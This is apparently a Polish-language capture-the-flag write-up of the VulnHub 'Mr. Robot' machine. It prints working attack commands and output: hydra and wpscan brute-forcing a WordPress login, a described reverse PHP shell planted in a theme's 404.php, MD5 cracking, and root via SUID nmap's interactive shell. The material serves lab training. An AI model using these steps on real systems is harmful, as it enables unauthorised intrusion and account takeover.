Standardowo zaczynam od znalezienia IP maszyny.
┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$sudo netdiscover -r 192.168.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
37 Captured ARP Req/Rep packets, from 4 hosts. Total size: 2220
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.1 00:50:56:c0:00:08 34 2040 VMware, Inc.
192.168.2.2 00:50:56:f0:ed:fa 1 60 VMware, Inc.
192.168.2.143 00:0c:29:d2:5c:c8 1 60 VMware, Inc.
192.168.2.254 00:50:56:e2:f7:dc 1 60 VMware, Inc.
Adres IP maszyny: 192.168.2.143
.
NMap
┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$nmap -sC -sV 192.168.2.143
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-04 03:11 CEST
Nmap scan report for 192.168.2.143
Host is up (0.0022s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Site doesnt have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-server-header: Apache
Po wejściu na stronę główną widzimy terminal. Ten box świetnie oddaje klimat serialu właśnie o nazwie Mr. Robot
. Zdecydowanie warto obejrzeć. Zdaje się, że mamy tutaj Wordpressa
.
Każda z komend wywołuje inne działanie. Wyświetlają się klimatyczne krótkie filmiki w stylu serialu.
FeroxBuster
┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$feroxbuster -w /opt/SecLists/Discovery/Web-Content/common.txt -u http://192.168.2.143/ -t 50 -d 1 -r
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.143/
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/common.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
📍 Follow Redirects │ true
🔃 Recursion Depth │ 1
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 9l 24w 213c http://192.168.2.143/.hta
403 9l 24w 218c http://192.168.2.143/.htaccess
403 9l 24w 218c http://192.168.2.143/.htpasswd
200 121l 387w 8182c http://192.168.2.143/0/
200 154l 554w 11779c http://192.168.2.143/Image/
200 30l 98w 1077c http://192.168.2.143/admin/
403 9l 24w 215c http://192.168.2.143/audio/
200 17l 32w 0c http://192.168.2.143/feed/atom/
403 9l 24w 214c http://192.168.2.143/blog/
403 9l 24w 213c http://192.168.2.143/css/
200 54l 161w 2747c http://192.168.2.143/wp-login.php?redirect_to=http%3A%2F%2F192.168.2.143%2Fwp-admin%2F&reauth=1
200 0l 0w 0c http://192.168.2.143/favicon.ico
200 21l 31w 0c http://192.168.2.143/feed/
403 9l 24w 216c http://192.168.2.143/images/
200 30l 98w 1188c http://192.168.2.143/index.html
200 30l 98w 1188c http://192.168.2.143/
200 154l 554w 11843c http://192.168.2.143/image/
200 2028l 11941w 516314c http://192.168.2.143/intro
403 9l 24w 212c http://192.168.2.143/js/
200 385l 3179w 19930c http://192.168.2.143/license
200 54l 161w 2747c http://192.168.2.143/wp-login.php
403 1l 14w 94c http://192.168.2.143/phpmyadmin
200 97l 842w 7334c http://192.168.2.143/readme
200 23l 32w 0c http://192.168.2.143/feed/rdf/
200 3l 4w 41c http://192.168.2.143/robots
200 3l 4w 41c http://192.168.2.143/robots.txt
200 0l 0w 0c http://192.168.2.143/sitemap
200 0l 0w 0c http://192.168.2.143/sitemap.xml
403 9l 24w 215c http://192.168.2.143/video/
403 9l 24w 221c http://192.168.2.143/wp-includes/
200 0l 0w 0c http://192.168.2.143/wp-content/
200 0l 0w 0c http://192.168.2.143/wp-config
200 0l 0w 0c http://192.168.2.143/wp-cron
200 10l 22w 0c http://192.168.2.143/wp-links-opml
200 54l 161w 2747c http://192.168.2.143/wp-login
200 0l 0w 0c http://192.168.2.143/wp-load
403 109l 296w 0c http://192.168.2.143/wp-mail
500 0l 0w 0c http://192.168.2.143/wp-settings
405 1l 6w 0c http://192.168.2.143/xmlrpc.php
405 1l 6w 0c http://192.168.2.143/xmlrpc
200 56l 172w 2888c http://192.168.2.143/wp-login.php?registration=disabled
Pierwsze co rzuca się w oczy to plik robots.txt
Okazuje się, że pliczek fsocity.dic
to słownik. Prawdopodobnie przyda się podczas crackingu, ale jeszcze nie wiemy czego.
key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
wpscan
┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$wpscan --url http://192.168.2.143 -e ap --plugins-detection aggressive
...
...
[+] WordPress version 4.3.28 identified (Latest, released on 2022-03-11).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.2.143/85c1728.html, Match: '-release.min.js?ver=4.3.28'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.2.143/85c1728.html, Match: 'WordPress 4.3.28'
...
...
[+] contact-form-7
| Location: http://192.168.2.143/wp-content/plugins/contact-form-7/
| Last Updated: 2022-07-19T06:20:00.000Z
| Readme: http://192.168.2.143/wp-content/plugins/contact-form-7/readme.txt
| [!] The version is out of date, the latest version is 5.6.1
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.2.143/wp-content/plugins/contact-form-7/, status: 403
|
| Version: 4.1 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.2.143/wp-content/plugins/contact-form-7/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.2.143/wp-content/plugins/contact-form-7/readme.txt
Zrobiłem również rekonesans toolem hydra
, która bierze kolejne rekordy z fsocity.dic
i wstawia hasło 123
, ale to jest bez znaczenia. Ważna jest część Invalid username
. Ta część odpowiada za to, kiedy program kończy działanie, a kiedy ma działać dalej. W tym przypadku jeżeli na przykładowy username admin
dostaniemy error z właśnie wpisem Invalid username
, program działa dalej, dopóki nie znajdzie “innego” errora.
┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$hydra -L fsocity.dic -p 123 192.168.2.143 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username' -I
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://192.168.2.143:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username
[80][http-post-form] host: 192.168.2.143 login: elliot password: 123
Wiadomo, że jeden z userów to elliot
. Mając tą wiedzę spróbowałem złamać hasło ponownie wpscanem
z użyciem tego słownika fsocity.dic
.
┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$wpscan --url http://192.168.2.143 -U users.txt -P fsocity.dic
...
...
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
Udało się. Mamy dostęp do dashboardu. elliot:ER28-0652
.
Shell jako daemon
Ostatnio nauczyłem się fajnego sposobu od Ippsec'a
otrzymywania shella bez dodatkowych pluginów. Polega to na edycji obecnego motywu, a dokładniej pliczku odpowiadającego za errory 404, czyli 404.php
. Wystarczy dodać na końcu kod reverse-php-shella, ustawić pod swoje dane i cieszyć się shellem 😊
Wiadomo, że na boxie mamy jeszcze usera robot
. Gdy wejdziemy sobie na jego folder domowy, widzimy dwa pliki. Jedna to flaga a druga to z dużą pewnością hash w MD5 tego usera. Zatem zabieram się za cracking.
Cracking hasła
Poszło bardzo szybko. MD5 łamie się wyjątkowo przyjemnie 😁
Hasło to abcdefghijklmnopqrstuvwxyz
. Przykład bardzo słabego hasła.
su robot
abcdefghijklmnopqrstuvwxyz
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:~$
Privilege Escalation
Możemy teraz odczytać drugą flagę.
key-2-of-3.txt
822c73956184f694993bede3eb39f959
Widać conajmniej dwie drogi do roota.
-
SUID nmap
-
Podatność w jądrze Linuxa
Eskalacja nmapem
jest bardzo prosta. User robot
nie jest w grupie SUDOERS
, ale wystarczy włączyć nmapa
w trybie interaktywnym i wywołać shella.
nmap --interactive
!sh
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Próbowałem uzyskać roota drugim sposobem, ale exploit nie działał poprawnie.
Root proof